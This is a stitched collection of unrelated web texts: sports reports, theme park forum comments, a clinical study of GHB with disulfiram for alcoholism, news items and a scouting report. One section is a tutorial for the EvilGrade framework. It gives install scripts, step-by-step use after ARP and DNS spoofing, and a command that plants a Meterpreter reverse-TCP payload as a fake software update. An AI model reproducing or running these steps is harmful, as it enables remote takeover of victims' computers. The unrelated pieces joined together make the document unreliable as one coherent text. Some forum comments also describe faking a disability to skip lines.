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While it didn't end with a victory, Borgia boys volleyball Head Coach John Nieder saw positives in Tuesday's 25-11, 25-21 opening loss to Bishop DuBourg, last year's Class 3 state runner-up.
"It was a tough draw for the first match of the year to play a good team like DuBourg," Nieder said. "They just came off a three-game loss to Ft. Zumwalt South last night, last year's Class 3 state champion, so we knew they were going to be a team to reckon with and give us a chance to see where we stand at this point."
Borgia was led offensively by junior Korey Fumagalli, who ended with six kills.
Sophomore Jacob Maune posted five kills. Senior Alex Blechle ended with four kills while sophomore Nathan Bargen recorded two kills and junior Po Chun Huang added one kill.
Blechle fed the hitters nine assists while Huang added eight.
Maune and Fumagalli each recorded 12 digs. Junior Jimmy Pak contributed six digs. Blechle, Bargen and Huang posted five digs apiece.
"A lot of the kids haven't played before," Nieder said. "The first time out you saw the jitters tonight. After that first game, we talked about things and they decided to come out and play. They relaxed. If they can do that, play scrappy and relax, there's a chance you're going to win the next point. That's the way they played the second game."
Borgia played close with DuBourg in the first game for the first five points. Then, the Cavaliers went on a morale-breaking run which ended up securing the margin for victory.
In the second game, Borgia fought hard and was able to stay with DuBourg for much of the contest. This time, the point streaks for the Cavaliers were fewer and smaller, but DuBourg still managed to earn the victory.
"We're definitely a small team," Nieder said. "I've never had a team where I've single blocked out of the middle, but this is one of those exceptions. We adjusted well to accommodate that. We've got to be more aggressive digging to make up for the lack of blocking."

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Published: September 21, 2007 at 11:50 AMYeah, I took my camera on Hulk once. Was displeased with the results. Didn't bother doing it again (I hate POV anyways, but I needed 10 seconds of it for a video I was editing).
Apart from that, I'm a perfect theme park angel.
Published: September 21, 2007 at 12:11 PMBrian, I couldn't find a way to, uh, gracefully, phrase that one as an option. And, ultimately, I decided that "lewd public behavior," if you will, was, along with public intoxication, not a theme park-specific rule. So I left that off this list.
But I have filed it away for inclusion, somehow, in some future vote. Maybe for Valentine's Day. :-)
Published: September 21, 2007 at 1:35 PMI took a video of my son on a small steel coaster because it was his first coaster ride. The entire video was of his face, not the ride itself. But the operator told us at the end of the ride that video was not allowed. We truly didn't know it was against the rules until after the fact. But I am glad we got the video...his expression was priceless!
And if fooling around with a spouse was one of the votes, you would have another positive vote here. Granted, it was 15 years ago, but I haven't forgotten!
Published: September 21, 2007 at 7:32 PMi was thinking the same thing. how do you get into the park without paying? please explain.
Published: September 21, 2007 at 11:25 PMWorking at Six Flags Over Texas in the early '80s pretty much locked me into good behavior...that and a Baptist upbringing and years in Scouting. Cutting in line is selfish and shameful. Sneaking in food...nowadays most parks have something suitable for most folks, even vegetarians. Yes, the food prices are high, but if you plan for it as part of the whole trip I think you'll find at least the kids pleased with the in-park food (esp. as a treat).
Published: September 22, 2007 at 1:23 AMI never have snuck in to a park, (I always get an AP whenever I go) but
Published: September 22, 2007 at 2:21 AMBroken safety rule: nope, or at least not explicitly.
Published: September 22, 2007 at 2:50 AMI've always brought food and drink into parks and for a moment I wondered what was so wrong about it. Then I remembered Six Flags...
Published: September 22, 2007 at 6:57 AMI always bring food into the parks, especially now that i have kids and they have to have their favorite snacks with them. The theme parks make enough money on admission and parking prices for me to buy their food too. I do ocassionally buy food inside, but only when I go without my kids(and thats a rare occasion). As for the other rules, i abide them pretty strictly. Although i am with the group that has done "questionable" behavior with their spouse years ago.
Published: September 22, 2007 at 7:34 AMWe bring in snacks most of the time, like some beef jerky or some crackers just things like that so we dont have to buy as much while we are there. And most of the time we will take a cooler in the car with lunch meats or peanut butter and jelly and make sandwiches and have a picknick in the parking lot! Yay for reentry!
Published: September 22, 2007 at 8:56 AMTheoretically anyone who rides a coaster and raises their hands is "breaking park rules"....funny how we all forget when they announce "please keep your arms and hands in the vehicle at all times" :)
Published: September 22, 2007 at 1:36 PMI only snuck into Knott's Berry farm once. I was a teenager and my friend worked there. I pretended to be an employee and just walked into the employee entrance. This was back in the hand stamp days so she got her hand stamped, then rubbed some of it off on me and we enjoyed the park for the day. I'd never do that now...too honest.
And the only photos I've done on rides were at Disney. I seem to have a lot of "action" photos from Thunder Mountain. I have old shots of us on "Adventure Through Inner Space" climbing all over the blue ride chair vehicles. And, I believe I have a Space Mountain picture back from the 80's. Nowadays...again...I follow all the rules. I'm so boring!
Published: September 22, 2007 at 3:31 PMIm a pretty good boy and try to follow most rules.
I have never snuck into a park, but have fibbed when it comes to the age of my children when they were younger.
I do try to bring snacks into SF parks which is against there current policy, and we are usually succesful.
Thye only time I tryed to tape when i wasnt suppossed to was during a T2 3D show, but they yelled at my so I havent done that again and dont tape on roller coasters so I follow that policy well.
And I dont skip in line nad believe strogly in no skipping.
So as ive gotten older the lnly policy I dont follow is not bringing in some cookies/rice krispies into my local SF park.
Published: September 22, 2007 at 3:58 PMI'll fess up to bringing in outside food when my kids were babies and toddlers, but I'm going to say that doesn't count, since it was for them.
I also must say that I get a kick out of looking around parks and rides and figuring out how to sneak into them. (Which I have never done, BTW.) I especially like playing "spot the sensor" or "find the security camera." It's an ex-employee thing, I guess.
Knowing how to get into rides and park areas also helps one know how to get *out* of them in an emergency, too. Which is handy information I like to have whenever I am in a park. So I'm always finding myself noting the exits and hidden doorways in parks.
Published: September 23, 2007 at 4:48 PMI am too much of a goody two shoes to have violated parks rules, and ever since that guy fell out of Shockwave at Kings Dominion, I would never even THINK of not following safety rules. However, if I ever develop high blood pressure or a bad back, there are rides that say not to ride if you have such a condition, I am going anyway. But I wouldn't sue the park or blame them if I got sick or hurt.
Have snuck in food. My husband and my daughter have hypoglycemia (low blood sugar) and they get very dizzy and weak if they don't have something with protein in it to keep up their blood sugar. So we bring peanuts or peanut butter crackers, because sometimes a blood sugar drop comes on them and the food lines are longgggg.....
Also wouldn't butt in line, but have held place for someone in our party going to the bathroom and joining us at our place in line later. I guess that might qualify. Don't want anyone peeing themselves on a ride, but have tried to get everyone to go BEFORE we get in line, but sometimes lines are so long...
Sneaking in without paying is sorta like stealing in my book. As well as unfair to the paying customers.
Published: September 23, 2007 at 6:23 PMI've never done anything hugely major, but back when I was young and stupid, my friends and I would go to major theme parks and participate in a game of Rock, Paper, Scissors. The winner got to walk on crutches into the park, where we'd then rent a wheelchair, and the lucky winner got pushed around the park all day.
This had an additional perk, as well, that we'd get 'Front of the Line' privileges for having someone handicapped with us. No-one was the wiser about our antics, and they definetely created some pretty fond memories for us.
Never taken a camera on a ride, though. Never really had the need to. Have, however, brought outside food into the park, usually in the form of snacks like crackers, but again, nothing too major. Never snuck into a park, either. I lead a very dull life. ;)
Published: September 23, 2007 at 8:25 PMAlways follow the rules to ride safety, adhering to the no smoking policy not that I smoke anyways.
But on the weekend just gone a good mate and myself played tourist at Sea World here on the Gold Coast, with entry to the park with a couple of cast passes I had been given from a freind we took in bottles of water and a light lunch with snacks for the day and I was amazed at the amount of people walking around with small eskies that people had brought in with food.
When we lined up to come through the pre-paid ticket gate there was no fuss made nor inquisitive questions made as to the contents of my back pack nor the relatively large esky and its contents to the guy standing in front of us.
I must make further comment though we stopped for a coffee from the donut shop late in the afternoon as the weather set in to which I was suprised to get a coffee and two donuts for $3.95. which is cheaper than some coffee shops on the Gold Coast.
We had a good day being the start of the Queensland school holidays and mild holiday crowds. All except for the damn sea gulls they were everywhere and pooping over everything and everyone me inclusive, as I got pooped on no less than three times.
Published: September 24, 2007 at 11:38 AMWhen I was 17, my friend (who just got fired from Disneyland) and I, went to Knott's to apply for a job at a job fair. When they just blew us off, we decided to sneak in.
Published: September 25, 2007 at 1:03 PMI've taken my video camera on Small World and Pooh at WDW - I don't recall seeing DO NOT VIDEO signs, but perhaps there were. However, recording for posterity my 1-yr-old daughter's wide-eyed wonder watching all the singing dolls in Small World was worth the risk :)
In Pooh we ran back and watched the Pepper's Ghost effect of Pooh's dreamy body flying in the air over and over, to explain how it worked to my older son. He was (and still is) interested in special effects like that and the ones in the Haunted Mansion.
On neither of those rides would it have been a safety issue like on a roller coaster or another high-energy moving ride so I don't feel too badly about it.


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Leading Italian studies support the use of γ-hydroxybutyric acid (GHB), not only in the treatment of the alcohol withdrawal syndrome, but also in maintaining alcohol abstinence. GHB gives a better result than naltrexone and disulfiram in maintaining abstinence, and it has a better effect on craving than placebo or disulfiram. The problem is that about 30–40% of alcoholics are non-responders to GHB therapy. In our clinical practice, we speculate that by combining disulfiram with GHB treatment we may be able to achieve a kind of 'antagonist' effect by using the 'psychological threat' of disulfiram (adversative effect) while taking advantage of the anticraving effect of GHB, despite the limitation of its 'non-blockade' effect on alcohol. In this context, to improve the outcome in GHB long-term treated alcoholics, we added disulfiram to GHB in the management of GHB treatment-resistant alcoholics. In this study we compared retention in treatment of 52 patients who were treated with the GHB-disulfiram combination for up to six months, with retention for the same subjects considering their most recent unsuccessful outpatient long-term treatment with GHB only. An additional comparison was carried out on the days of complete abstention from alcohol. Thirty four patients (65.4%) successfully completed the protocol and were considered to be responders; 18 (34.6%) left the programme, and were considered to be non-responders. Considering the days of complete abstinence from alcohol, 36 patients stayed in treatment longer with the GHB-Disulfiram combination, 12 stayed for a shorter time and four for the same time. The results of this study seem to indicate a higher efficacy of the GHB-disulfiram association compared with GHB alone. Randomized controlled trials are now needed to verify this hypothesis.
Alcohol abuse and alcoholism are a world-wide problem, from a medical but also a social viewpoint. In the past the therapy for alcoholics was mainly based on the psychosocial approach, but the combined use of pharmacotherapy and psychosocial interventions has raised the percentage rate of success in maintaining alcoholic patients in remission [
For over 55 years, disulfiram has been approved by the FDA for the treatment of alcohol dependence. It is a unique medication that relies on a 'psychological threat' to avoid disulfiram-ethanol reactions; in fact, it irreversibly inhibits aldehyde dehydrogenase (the enzyme that converts the relatively toxic metabolite acetaldehyde into the benign metabolite acetate), which is necessary to the metabolism of ethanol [
We know that an effective treatment of addiction is based on two important pharmacological concepts: (i) the drug used has to prove an 'antagonist' effect against the abused substance; and (ii) an 'anti-craving' effect against drug-seeking behaviour, by stimulating the substance of the abuse-related affected system [
We speculate that, by combining disulfiram and GHB treatment, we can achieve a kind of 'antagonist' effect by using the 'psychological threat' of disulfiram (aversive effect), while taking advantage of the anticraving effect of GHB. In our clinical practice, we added disulfiram to GHB in the management of GHB treatment-resistant alcoholics.
The aim of the present study was to retrospectively evaluate the efficacy of a long-term (six-month) GHB-disulfiram combination treatment with reference to the ethanol intake of chronic alcoholics who met the criteria for GHB treatment resistance. We also studied endpoint clinical differences between responders and non-responder patients treated with the GHB-disulfiram combination. Lastly, we explored predictors of response to the GHB-disulfiram combination using patients' demographic and clinical characteristics at baseline.
To do that we compared the retention in treatment of patients treated with the GHB-disulfiram combination, for up to six months, to retention for the same subjects considering their most recent unsuccessful outpatient long-term treatment with GHB only. An additional comparison was carried out by comparing the days of complete abstention from alcohol in those two cases.
We considered all consecutive chronic alcoholics in treatment with GHB at the Dual Diagnosis Unit of the Department of Psychiatry of the University of Pisa, Italy, during a three-year period (2007–2010).
The inclusion criteria were:
Diagnosis of alcohol dependence according to DSM-IV-R criteria [
GHB treatment resistance, as determined by at least two periods of GHB long-term treatment in the previous two years. Patients were treated with our standard therapeutic protocol for alcohol dependence (GHB long-term treatment) and for psychiatric comorbidity, when present (use of antidepressants, generally SSRIs or bupropion, mood stabilizers, and occasionally benzodiazepines). Our GHB long-term treatment consists of three consecutive phases: (i) cessation of ethanol consumption within the first six days of treatment; (ii) progressive adjustment of the dose on the basis of the patient's response; (iii) follow-up, usually up to one year, with some patients continuing at the optimized dose, while others voluntarily suspended the treatment.
Relapse into alcohol abuse during the current GHB long-term treatment
Presence of multiple psychosocial or environmental problems within the past two years. Scores for social functioning when relapsing were used as the baseline ratings for the study
Patients relapsing into the use of over five units of alcohol per day
Patients living with their families
Exclusion criteria were:
Serious liver disorders and chronic diseases
Any structured psychotherapy during the last year
The sample consisted of 52 patients (23 males), mean age 40 ± 11. Patients were mostly females (55.8%), married (76.9%), unemployed (48.1%), with a low educational level (67.3%), with adequate economic resources (90.4%), but experiencing difficulties as to social adjustment. Most of them (n = 39) showed one or more psychiatric comorbidities.
Alcohol intake was evaluated in terms of units of alcohol. The easiest way to calculate this is to count the number of glasses of alcoholic drinks daily. A glass of wine (which is usually 125 mL), beer (which is usually 330 mL), or a glass of whisky (which is usually 40 mL) contain the same amount of alcohol equal to about 12 grams, which is identified as one unit.
The cessation in alcohol intake was assessed through self-evaluation and as the lack of side-effects due to alcohol disulfiram intake. These outcomes were confirmed by family observer evaluation. One or two members of the family were responsible for detecting the intake of two medications (GHB and disulfiram) and patient alcohol intake. Positive outcome in the GHB-disulfiram combination treatment consisted of complete alcohol abstinence and improved social adjustment (responder patients). A failure to achieve these criteria, a refusal to take disulfiram, a voluntary dropout from the programme and, of course, relapsing into alcohol use were evaluated as a negative outcome (non-responder patients).
Psychiatric comorbidity was separately diagnosed by two residents in psychiatry and confirmed by a senior psychiatrist (I.M.).
Severity of illness, global improvement and efficacy index were evaluated by Clinical Global Impressions (CGI) [
Social adjustment was evaluated by means of the Global Assessment of Functioning [
A researcher who was not informed as to variations in subjects' alcohol intake administered the CGI and GAF. There was a preference for the researcher not to be informed because CGI and GAF scales are to be rated exclusively with respect to psychological, psychopathological, social and occupational functioning.
The therapeutic protocol consisted of three consecutive phases. Within the first seven days of treatment, 50 mg/hg/day of GHB, divided into three doses taken every four hours, were administered to relieve alcohol withdrawal symptoms and to facilitate the cessation of ethanol consumption. In a second step, disulfiram 400 mg/day was prescribed and the dosage of GHB was progressively adjusted to a maximum of 100 mg/kg/day on the basis of the patient's response. Considering the short half-life of GHB [
We are aware that many studies suggest lower doses of supervised disulfiram. This fact should be considered when applying the GHB-disulfiram combination to the current clinical practice.
No specific psychotherapy was provided during an unplanned schedule of visits. Generally patients were seen twice or more monthly. All patients gave their informed consent before taking any medication. As a rule, all the study participants were among those who regularly used our service. This involves an intervention where there is no change to the standard service being delivered (e.g., no randomization of service users into different groups).
In our programme patients are required to be actively involved in treatment by attending the clinic whenever that is scheduled, participating in the development of their treatment plan, working towards treatment goals, meeting with medical and case management staff, and attending groups when needed. All physicians working in the programme are psychiatrists who have been trained for at least two-years in the treatment of addictive disorders.
Recorded data were completely anonymous and it was impossible to identify participants from any resulting report.
The retention rate under the GHB-disulfiram combination therapy was studied using the "life-table analysis" according to Lee-Desu statistics. First the retention rate of the entire group was compared with that during their most recent unsuccessful GHB long-term treatment. The days of complete abstinence during the current and the last unsuccessful treatment were compared by applying the Wilcoxon Matched-Pairs Signed-Ranks Test. Then differences in CGI and in GAF between responders and non-responders to GHB-disulfiram combination were tested by the Student T-Test. Lastly, predictors of the response to GHB-disulfiram combination therapy were analysed using "life table analysis". The life-table of subgroups divided by sex (male, female), age (up to 40 years old, over 40), education (<8 years, >8 years), marital status (single, married), work (white collars, blue collars, unemployed), income (poor, adequate), baseline severity of illness (5, 6, 7 score), baseline severity of social adjustment (under the mean, over the mean), psychiatric comorbidity (absence, presence), GHB daily intake (three times, six times) were all compared. We used the statistical routines of the SPSS system.
34 patients (65.4%) successfully completed the protocol and were considered to be responders; 18 (34.6%) left the programme and were considered to be non-responders. A key result was that 34 patients (65.4%) were still under treatment after six months.
No patients left treatment without being considered non-responders. There was a major sample attrition during the first month of treatment, and a minor one during the second and the fourth. After the fourth month of treatment, no patients left the programme. Patients under long-term treatment with the GHB-disulfiram combination stayed in treatment longer (comparison: Lee-Desu statistic 13.61, df = 1, p < 0.001) than when they were treated with GHB only. More specifically, the greatest risk of leaving the GHB only therapy during participants' latest unsuccessful treatment occurred during the 5th and the 3th months; the next more crucial periods were, in order, the 4th, the second and the first month. No patients were in treatment after the 5th month.
Considering the days of complete abstinence from alcohol, 36 patients stayed in treatment longer with the GHB-Disulfiram combination, 12 stayed for a shorter time and four for the same time. These variations were statistically significant according to the Wilcoxon Matched-Pairs Signed-Ranks Test (z = −5.11, 2-tailed p < 0.0001).
According to the results obtained in the present study, patients in long-term treatment with the GHB-disulfiram combination stay in treatment longer than when they are treated with GHB alone. Moreover, the GHB-disulfiram association results in a higher percentage of days of abstinence from alcohol. Responder patients compared with non-responder ones present better clinical features; are characterized by a less severe illness at baseline and an intake of GHB over three times a day.
Given the importance of dropout as a factor conditioning compliance with therapeutic programmes in the addiction field, the increased retention in treatment observed in our study stands as strong preliminary evidence in support of the GHB-disulfiram association. Moreover, the statistically significant gain in terms of days of complete abstinence from alcohol observed in patients treated with GHB-disulfiram seems to indicate a higher efficacy of this association compared with GHB alone.
As hypothesized in the introductory section, the advantages of this association can easily be attributed to the combination of the anticraving effect of GHB with the traditional adversative effect of disulfiram. However, other mechanisms have recently been taken into consideration in explaining the efficacy of disulfiram in drug dependence. These additional mechanisms, which were initially put forward to explain the efficacy of disulfiram in the treatment of cocaine addiction [
Disulfiram might be supposed to interfere with the rewarding properties of alcohol by inhibiting the noradrenergic components of craving and of highs, and be qualified as an anticraving agent. Moreover, the decrease in noradrenergic transmission mediated by disulfiram, which dampens the stress response, could also interfere with the mechanism of relapse in response to environmental influences and stressors [
The GHB-disulfiram combination might not only have a kind of 'antagonist' effect related to the 'psychological threat' or adversative effect of disulfiram and a GHB-mediated anticraving effect, but also an antirewarding effect along with a low-level, disulfiram-mediated anticraving effect. The antirewarding, disulfiram-mediated effect might be useful too against the rewarding effect of GHB (which leads to GHB abuse). This latter effect is quite similar to that described by Caputo
An alternative interpretation is that treatment success may be interpreted not only as an effect of GHB, disulfiram, or the combination of both medications, but also of psychological modes of action, e.g. motivation, self help and self management. This study was, in fact, a controlled before/after study with participants acting as their own controls; that is, they have been compared with themselves, according to whether they were being treated with GHB alone or with a combination of GHB and disulfiram. Given the time-frame which was set to include the entire duration of the two treatments and to take into account possible differences between the sociodemographic or clinical conditions in the two periods of observation, we compared these conditions at the baseline for each of the two treatments. We found no differences. Moreover, since the design did not include a separate control group, we did not actually carry out a check on the effects of time. This meant that we were unable to differentiate between changes or effects that were measured at the end of the study, but which might have occurred anyway, without any intervention, and those that were due to the intervention itself.
The results of this study seem to indicate a greater efficacy of the GHB-disulfiram combination compared with GHB alone. Randomized controlled trials are now needed to verify this hypothesis.
Six-month survival in treatment of 52 alcoholics treated with a GHB-disulfiram combination (current treatment) compared with later treatment with GHB only. Add a descriptive label of the table here.
|Number at start of month
|Number leaving the programme
|Cumulative % survival
|Hazard rate
L = Later treatment, C = Current treatment; Lee-Desu statistic 13.61, df = 1, p < 0.001.
Endpoint clinical differences between non-responder and responder patients.
|Non-responders N = 18
|Responders N = 34
|M ± sd
|M ± sd
|Severity of illness
|4.33 ± 0.9
|1.85 ± 0.8
|Global improvement
|3.83 ± 1.0
|1.64 ± 0.6
|Efficacy index
|11.33 ± 3.1
|3.94 ± 2.7
|GAF score
|51.66 ± 6.4
|68.08 ± 10.0
Predictors of response to treatment.
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|N Censored (%)
|Lee-Desu statistics
|15 (65.2)
|19 (65.5)
|≤40 years
|20 (74.0)
|>40 years
|14 (56.0)
|≤8 years
|12 (70.5)
|>8 years
|22 (62.8)
|Marital status
|10 (83.33)
|24 (60.0)
|White collars
|5 (50.0)
|Blue collars
|13 (76.4)
|16 (64.0)
|2 (40.0)
|32 (68.0)
|Baseline severity
|17 885.0)
|10 (45.4)
|7 (70.0)
|Baseline social impairment
|Under the mean
|17 (65.3)
|Over the mean
|17 (65.3)
|Psychiatric comorbidity
|6 (46.1)
|28 (71.7)
|GHB intake
|3 times/day
|4 (21.0)
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Slash's Arcade Rocker
By: Pixabi
Welcome to the walkthrough for the iOS game Slash's Arcade Rocker, if you are looking for ways to make it to the next level, and to improve gaming experience as a master player, you've come to the right place. Here you will find Slash's Arcade Rocker tips, tricks and guides, as well as the opportunity to share your own discoveries to help others move on and beat the game.
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Slash's Arcade Rocker Game Overview
Slash's Arcade Rocker is available on iOS. For more details on the app, check out our review.
- Publisher: Pixabi LLC
- Developer: Pixabi
- Genre: Music
- Release Date: June 9, 2010
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Rosslyn Park made 12 changes from last week's outing but still maintained their winning streak in National League One with a 28-7 win at neighbours Richmond.
Park, who included scrum half Jack Gash playing on the left wing, are now three games unbeaten – but they must now wait until after the Christmas break to attempt number four.
However, despite the win, second-placed Park lost ground on the leaders as Doncaster Knights picked up a bonus point win over Hull.
At Richmond, strong winds and a mudbath pitch ruled out a rugby classic, but both sides played with utter commitment to serve up a derby that was never short of compelling.
Two excellent defences were on top for most of the match, though Richmond were generally forced to defend a bit deeper into their territory than were Park.
The visitors gained an early lead when Richmond conceded a penalty in the third minute for fly half Scott Sneddon to open the scoring.
Coming through: Will Bowley on the charge for Park
Both sides struggled to control the slippery ball, with promising moves spoilt by handling errors. Park looked the more decisive ball in hand, but the home side always had a counter-puncher's chance, and looked anything but a side threatening to drop into the relegation zone.
A penalty, kicked to touch deep in Richmond territory, saw Park put in a tremendous attack which Richmond resisted at the cost of a further penalty - up stepped Sneddon to prove that the scoreboard was still working after 32 minutes for 6-0.
Tails up, Park put together some sparkling moves forcing Richmond to make some good tackles, and eventually the visitors laid siege to the try-line. Some fine defending saw Richmond boot the ball clear, but it only bought 10 metres of relief and back came Park.
Having been driven back to the line, Richmond had no answer when Park swept the ball across the back line and full-back Ed Lewis-Pratt came onto it at speed to get over on the stroke of half-time.
Sneddon's conversion gave his side an interval lead of 13-0.
Within two minutes of the restart, Park forced a further penalty, snapped up by Sneddon for 16-0.
Suddenly Park looked like breaking loose, though an injury to Richard Boyle was a blow.
When Richmond tried to put in an attack, Lewis-Pratt put in a long clearance kick to set them back beyond where they started, and a super individual break by scrum half Matt Heeks saw the defence stretched beyond breaking point as the ball was passed out to winger Charles Broughton, who scooted in at the corner for 21-0 on 50 minutes.
Battle: Neighbours Rosslyn Park and Richmond go all out for possession
It would have been easy for the hosts to throw in the towel - instead they threw in everything bar the kitchen sink to try to wrest their way back into the match.
Park defended well, but eventually the home side reached the try-line – and made it count.
Park resisted the initial drive, but at the cost of Harry Broadbent being yellow-carded for a professional foul.
Richmond opted for the scrum and when Park offended again the referee awarded a penalty try.
If it was at the softer end of penalty try awards then the score itself was no more than Richmond deserved, Louis Grimoldby completing the formalities for 21-7 with less than 20 minutes remaining.
Winner: Darrel Ball wins possession for Park
Despite being a man short, Park swiftly regrouped and took the game to Richmond. Moments before being restored to full complement they set up a drive that forced Richmond to concede a penalty, kickable but wide of the posts. Sneddon took it on, but hit the far post square on.
The ball bounced back into play, where centre Paul Mackey had followed-up for just that eventuality - he caught the ball and sprinted between the posts before the defence could react. If it was fortuitous, then the fact is that Park were prepared for it and Richmond were not. Sneddon's conversion effectively killed the match at 28-7.
Richmond made a big effort, but to no avail as Park shut up shop. Park will go into the New Year in second place in the League. Richmond are flirting with the relegation zone, but on this showing really should not be in any danger.
Park: Lewis-Pratt; Broughton, Staff, Mackey, Gash; Sneddon; Heeks; Liffchak, Bellamy, McKenzie (Ovens); Ball, Boyle (Bowley); Shires, Broadbent (Rowland), Ellis.
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Concert with a cause ... Rendra Freestone hopes a show based on
rare Sumatran music and dance will show Australians there is more
to Indonesia than the Schapelle Corby case.
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When Indonesian-Australian musician, Rendra Freestone, made an eight-hour canoe trip up a remote tropical river in Sumatra, he was looking for traditional music he had never heard before. What he found was music that no Western ears had ever heard.
"The tribes there live really, for want of a better word, primitively. No clothes. It's very basic when it comes to eating, and they'll hunt with bows, arrows and spears," Freestone said.
"Their singing is like animals, like the sounds from a forest, with trills in the throat. A lot of it is incredibly technical."
Over four months last year, Freestone recorded rare traditional music and percussion all over Sumatra - styles ranging from Islamic devotional music to shamanic songs used in magical rites.
Tomorrow night, Freestone will showcase the music he encountered in a concert called Rhythm Hunting, which fuses Indonesian music with the physically demanding Taiko drumming of Japan and elements of West African percussion.
The show will also feature Acehnese body percussion, as much a dance as a musical style, in which women slap their clothes and bodies in syncopation.
Freestone said that he particularly wanted to show Australians some of the Islamic devotional songs he came across.
"By raising the profile of Sumatran music, which is predominantly Islamic, you are creating an understanding of our neighbours and helping preserve indigenous cultures."
Freestone said that he hoped Rhythm Hunting can make some progress towards showing Australian audiences that there's more to Indonesia than the Schapelle Corby case.
Rhythm Hunting starts 7.30pm tomorrow at Sidetrack Theatre, 142 Addison Road, Marrickville.
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Watch video on-line: http://g0tmi1k.blip.tv/file/3629001
Download video: http://www.mediafire.com/?m55c5k5c7pf633f
Script (evilGrade[v0.1.3].sh): evilGrade[v0.1.3].sh
Script (evilGrade_install[v0.1.3].sh): http://www.mediafire.com/?xjoghumzimy
What is this?
EvilGrade: "ISR-evilgrade: is a modular framework that allow us to take advantage of poor upgrade implementations by injecting fake updates."
Metasploit: "Evilgrade Will Destroy Us All."
This is a "semi automate" script to help set-up an environment for EvilGrade so it can work its magic, and then there is a video demonstrating it in action which shows the effects of EvilGrade. EvilGrade is simply, another "option" to do after performing a "Man In The Middle" attack, that tricks certain software to believe there is an update available when really it's the attacker payload.
How does this work?
EvilGrade: "It works with modules, each module implements the structure needed to emulate a false update of specific applications/systems.Evilgrade needs the manipulation of the victim dns traffic."
EvilGrade creates a web server, which when a program's auto-update feature queries back "home" to check for an update, EvilGrade creates a spoofed updated version. The program then notify the target that there is an "update" available, and would they like to update. The danger of this is most users trust the program with the "auto update feature" and download and executes the update, when in reality, this is our payload.
What do I need?
> EvilGrade + Any Requirements (Data:ump, Digest::MD5, Time::HiRes)
> A Payload (I'm using metasploit and SBD)
> A method of doing a MITM Attack (I'm using arpspoof - part of dsniff suite)
> A way to spoof DNS (I'm using dnsspoof - part of dsniff suite)
> evilGrade[v0.1.3].sh (only if you wish for a helping hand to automate a few steps)
> evilGrade_install[v0.1.3].sh (only if you wish for a helping hand to get this working with BackTrack 4 Final)
How to use it?1.)Download the script(s)
2.) Install EvilGrade. (If your lazy use the script!)
3.)Check to see what interface is going to be used. (via ifconfig)
4.) Edit evilGrade[v0.1.3].sh (via kate evilGrade\[v0.1.3\].sh) to make it work with your system
5.) bash evilGrade\[v0.1.3\].sh OR bash evilGrade\[v0.1.3].sh TargetsIP (bash evilGrade\[v0.1.3\].sh 192.168.1.101)
6.) Pick your which software to attack. (via show modules)
7.) Pick your "agent" (Which program to insert/inject/replace the update)
8.) Check any other options (via show options)
9.) Start
10.) Wait...
11.) ...Game Over.
Commands:How can I protect myself from this?Code:sh evilGrade_install\[v0.1.3\].sh help show modules exit ifconfig kate evilGrade\[v0.1.3\].sh bash \[v0.1.3\].sh 192.168.1.101 config notepadplus set agent '["/pentest/exploits/framework3/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.103 X > <%OUT%>/tmp/g0tmi1k-evilgrade.exe<%OUT%>"]' start hostname ipconfig
> Don't use the self updating features on software.
> When prompted about an update, visit the official homepage to download the update.
> Check the official homepage for a MD5/SHA1 hash.
The video uses evilGrade[v0.1].sh
It's worth doing this "manually" (without the script) before using the script, so you have an idea of what's happening, and why. The script is only meant to save time.
Song: Public Domain - Operation Blade
Video length: 2:44
Capture length: 7:59
Blog Post: http://g0tmi1k.blogspot.com/2010/05/script-video-evilgrade-v011.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/28425-%5Bscript%5D%5Bvideo%5D-evilgrade-v0-1-1-a.html#post162025
v0.1.3+ Checks for superuser
+ Added arguments
+ Checks interfaces/paths/files exists
> Fix it - Couple of silly typos
> General code improvements
> Improved checking the targets IP Address
+ Added debug mode
+ Added custom payload
+ Checks system setup before running
+ Fix gateway bug
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Volume 16, Issue 2: Flotsam
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My daughter stands, slender and beautiful. Her veil is up and she is smiling, laughing, craning her neck like her mother.
Her mother was doing that in the first picture I ever saw of her.
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Transportation officials sounded an alarm Friday about the potential for severe congestion when San Diego (405) Freeway on-ramps and off-ramps at Wilshire Boulevard begin closing next month as part of the car-pool-lane project in the Sepulveda Pass.
The Los Angeles County Metropolitan Transportation Authority, Caltrans and Los Angeles Department of Transportation jointly announced that the eight ramps would begin closing on June 22 for 90-day periods.
The ramps will be demolished and rebuilt as part of a $1 billion effort to to add a car-pool lane to a 10-mile stretch of the 405 from the Santa Monica (10) Freeway through the Sepulveda Pass to the Ventura (101) Freeway.
The new ramps, which are scheduled to be open sometime in 2013, will be built to handle traffic demands predicted for 2031 and to update seismic standards.
Officials warned drivers who travel through West Los Angeles to plan ahead for extended travel times and to carpool if possible during the monthslong ramp closures, which some have dubbed "Rampture."
The new ramps are expected to greatly reduce traffic at the notoriously congested interchange. The so-called fly-over ramps are intended to eliminate the dangers of weaving of traffic near the westbound Wilshire on-ramp to the southbound 405 and the southbound 405 off-ramp to eastbound Wilshire by physically separating vehicles.
"Zebra" road striping and flashing caution lights will be used to guide pedestrians and cyclists.
The transportation agencies will first close the westbound Wilshire on-ramp to the northbound 405 and the northbound 405 off-ramp to westbound Wilshire. Officials recommended using Sepulveda Boulevard as a detour.
Kiewit Infrastructure West Co. will be working 24 hours a day to expedite the demolition and construction of new interchanges, Metro officials said.
To help avoid heavy congestion, the agencies will use digital message signs notifying motorists of detours and will deploy traffic officers at trouble spots.
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NFL Draft > 2011 Prospects > DE > Karl Klug
Karl Klug Scouting Report
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2011 NFL Draft Prospect Scouting Report:
Karl Klug, DE, Iowa
University of Iowa's Karl Klug is a 2011 NFL Draft defensive line prospect for the Hawkeyes. Klug's biggest asset, aside from his large frame, is his versatility. At the next level, he could fit in almost any team's defensive line. This season for the Hawkeyes, he's been playing defensive tackle but he can play defensive end in a 3-4 defense as well. Klug is a tall prospect with long arms and a good push for getting into the backfield. He is quick for a tackle and explosive enough to play a containment role as a defensive end.
Klug began the season under the radar for most draft analysts, but has steadily garnered more serious attention due to a very good senior season. He will need to continue to add good weight as he is a bit undersized if he is still playing at 270 pounds.
His greatest attribute is his elite motor. Fundamentals and technique can be coached up, but his "want-to" is off the charts.
He has a good explosion off the line of scrimmage and gets his hands on offensive linemen very quickly. Stays low with his pad level, allowing him to use leverage to his favor. Able to take on blockers and keep his balance well.
